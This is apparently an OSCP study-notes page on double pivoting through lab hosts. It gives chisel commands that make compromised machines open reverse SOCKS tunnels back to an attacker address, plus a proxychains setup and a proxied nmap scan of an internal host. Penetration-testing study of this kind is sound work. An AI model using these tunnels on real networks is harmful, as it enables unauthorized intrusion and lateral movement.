// notes/ Pivoting & Tunneling
🚀

Pivoting Double Pivot

{% hint style="info" %}

#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/pivoting_double-pivot

Double Pivot

{% hint style="info" %} Shoutout Rapunzel3000 for this one {% endhint %}

Kali -> NIX01(DMZ) -> DC01 -> DC02

  • NIX01 and DC01 - 172.16.1.0/24
  • DC02 - 172.16.2.0/24

On our machine

code
01./chisel_linux server --socks5 -p 9001 --reverse

Edit proxychains config and comment out socks 127.0.0.1 9050

code
01socks5 127.0.0.1 9999
02socks5 127.0.0.1 8888

On NIX01

code
01./chisel client 10.10.14.10:9001 R:9999:socks
02./chisel server -p 9002 --reverse --socks5

On DC01

code
01chisel.exe client 172.16.1.100:9002 R:8888:socks

Scan

code
01proxychains nmap -p445 -Pn -v 172.16.2.5